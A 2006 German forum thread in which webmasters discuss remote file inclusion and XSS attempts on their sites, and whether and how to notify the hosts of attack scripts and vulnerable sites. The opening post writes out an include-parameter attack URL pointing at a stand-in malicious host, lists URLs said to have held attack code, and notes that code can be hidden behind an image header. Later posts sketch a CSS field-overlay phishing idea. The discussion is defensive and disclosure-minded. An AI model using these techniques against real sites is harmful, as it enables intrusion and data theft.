XSS - Schadscript-Hosts warnen?

T

Talion

...
ID: 33759
L
20 April 2006
794
75
Vorweg: Ich hab für diesen Thread kein wirklich passendes Forum gefunden. Wenn die Mods meinen, dass er z.b. in der Computerecke oder beim Webhosting besser aufgehoben wäre als im Programmierforum, bitte verschieben.

Nun zu meiner eigentlichen Frage: Ich stelle in letzter Zeit verstärkt versuchte Angriffe auf meine Seiten fest, nach dem Schema https://www.talionsseite.de/unsicheresscript.php?include=https://böseseite.de/pfad/zum/script.xyz

Nun sind allerdings die meisten "bösen Seiten" gar nicht böse, sondern einfach nur Seiten die - freiwillig oder unbeabsichtigt - Nutzern ermöglichen, Dateien hochzuladen. (Auch Myimg.de könnte man dafür nutzen, denn solange der Bildheader intakt ist, kann der Rest des Bildes beliebigen Code enthalten.)

Also was tun? Nichts tun und freuen, dass die eigenen Script sicher sind, oder die Admins der Host-Seiten benachrichtigen? Ein rechtliches Risiko besteht für die Seiten (die ja nicht selbst Angriffe ausführen, sondern nur (unwissentlich) den Code bereitstellen) ohnehin nicht, oder?

Beispiele die auf meinen Seiten verwendet wurden:
https://www.lieblingshomepage.de/feedbackservice/smile-i.gif
https://www.agv-schaafheim.de/gallery/data/media/nexa/zevela/
https://www.tcmforum.com/web/sal/yuveli/
(Ersteres versucht Shellcode auszuführen, die letzteren beiden sind bereits gelöscht und enthielten nur <?php echo md5("just_a_test");?> wie im Google-Cache noch zu sehen ist.)
 
Benachrichtigen. Der Phishmarkt ist schon voll genug.
Selbst Audi.com hatte letzte Woche noch eine XSS-Lücke.
Die waren aber wenigstens schnell. Eine Stunde nach
der Meldung war die Lücke gefixt. Andere brauchen dazu
mehrere Wochen - warum auch immer ... :roll:
 
Das Problem ist halt, dass die eigentliche Sicherheitslücke in so einem Fall nicht (unbedingt) bei demjenigen ist, der den Angreifercode hostet. Ich kann wie gesagt auch bei myimg und Co. so ein Script hochladen (das bißchen Bildheader was man zusätzlich einbinden muss, stört den Angriff ja nicht), und würde deswegen nicht behaupten, dass dort ein Sicherheitsproblem vorliegt. Daher hilft die Benachrichtigung vermutlich auch nicht soo viel, aber naja... Habs mal gemacht.

Da mir gerad danach war, hab ich mal den erstbesten Paidmailer der mir einfiel auf (klassisches) XSS getestet und war im ersten Versuch erfolgreich. :roll:
Hab dem das ebenfalls gemailt, Namen nenne ich jetzt erstmal nicht, ist aber ein etablierter. Vielleicht ist mal Zeit für eine Aufklärungskampagne mit ein paar Real-Demos...

*Stoppuhr für die Zeit bis zum Bugfix stell*
 
Ich habe schon einige Webbys auf Sicherheitslücken hingewiesen (auch welche hier im Board), aber passiert ist bei 90% bis heute noch nichts...

Es scheint als wären diese 90% bereit gehackt zu werden. Diese sind sich sicher nicht bewusst was das alles für Folgen für sie und ihre Mitmenschen haben kann.
 
"Gestern noch zu blöd, den Computer einzuschalten,
heute schon die eigenen Homepage." ;)

Viele haben einfach keinen Plan und haben die Skripte
nur von irgendwelchen selbsternannten "Programmierern"
uberteuert abgekauft (für Myll ist jeder Cent zu viel).
 
Darklord schrieb:
Ich habe schon einige Webbys auf Sicherheitslücken hingewiesen (auch welche hier im Board), aber passiert ist bei 90% bis heute noch nichts...
Zum Vergrößern anklicken....
Ich hatte vor knapp 2 Monaten jemanden hier im Forum auf mögliche SQL-Injections aufmerksam gemacht und mir wurde dann versichert, dass sich schnellstmöglich drum gekümmert wird...

Anlässlich dieses Threads hier hab ich die PNs mit dem Link zur Seite nochmal ausgekramt und siehe da - welche Überraschung - nix war passiert.
Ich hab dem Webmaster jetzt mal ne böse eMail geschrieben und bin gespannt, was er antwortet.
 
Joa, ich kann mir gut vorstellen, dass das hier nicht anders sein wird. Ist ja schließlich "nur" XSS, so dass ein gewisser Aufwand notwendig ist um an echte Daten zu kommen. (In diesem Fall müsste man einem bereits eingeloggten User den Link unterschieben und kann dann Passwort, Mail usw. auslesen.)

Aber zumindest hat der Admin von lieblingshomepage.de reagiert und das Script da gelöscht.
 
Talion schrieb:
Ist ja schließlich "nur" XSS, so dass ein gewisser Aufwand notwendig ist um an echte Daten zu kommen. (In diesem Fall müsste man einem bereits eingeloggten User den Link unterschieben und kann dann Passwort, Mail usw. auslesen.)
Zum Vergrößern anklicken....
Es ist aber nicht selten der Fall, dass sich entweder überall oder z.B. in Formularen fremder Quelltext einschleußen lässt. Und mit ein bisschen CSS könnten die echten Eingabefelder einfach überlagert werden; und schon gehen die Daten an einen Phiser. :-?


Edit: Kleine Fhelerkorrektur. :)
 
Zuletzt bearbeitet:
Ja, ich weiß. Hab inzwischen ein halbes Dutzend Mailer mit der selben Lücke angeschrieben (und noch 4 andere mit ähnlichen Lücken) und bereits eine Demo konstruiert, die so zwar harmlos ist aber hoffentlich zeigt, dass sich daraus leicht mehr machen lassen könnte. Wenn sich da nichts tut, werd ich die vorraussichtlich öffentlich machen.
 
Du musst dich einloggen oder registrieren, um hier zu antworten.
Zurück
Oben